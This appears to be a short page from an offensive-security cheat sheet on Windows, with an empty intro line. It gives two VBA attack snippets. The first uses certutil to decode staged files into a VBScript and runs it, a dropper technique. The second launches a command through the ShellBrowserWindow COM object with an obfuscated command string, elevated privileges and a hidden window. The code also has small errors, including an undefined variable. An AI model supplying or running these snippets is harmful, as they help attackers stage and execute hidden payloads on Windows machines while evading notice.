📕 Windows RTFM

This is about … .

PowerShell

VBA

Dim WshShell, oExec
	Set WshShell = CreateObject("WScript.Shell")

	Set oExec = WshShell.Exec("certutil -decode one.crt C:\Users\Public\Documents\one.vbs")
	
	WScript.Sleep 1000
	
	Set oExec = WshShell.Exec("certutil -decode two.crt C:\Users\Public\Documents\xml.xml")
	
	WScript.Sleep 1000
	
	Set oExec = WshShell.Exec("cmd.exe /c C:\Users\Public\Documents\one.vbs")

Execute shell command through a ShellBrowserWindow COM object (docs).

aaa = "YVVoVVuVV VVaVVrVVeVV aVV lVVoVVkVVhVV.VV"
new_aaa = Replace(aaa, "VV", "")

Set obj = GetObject('new:c08afd90-f2a1-11d1-8455-00a0c91f3880')
obj.Document.Application.ShellExecute new_aaa, aaaa, Null, "runas", 0

References

Expand… [1]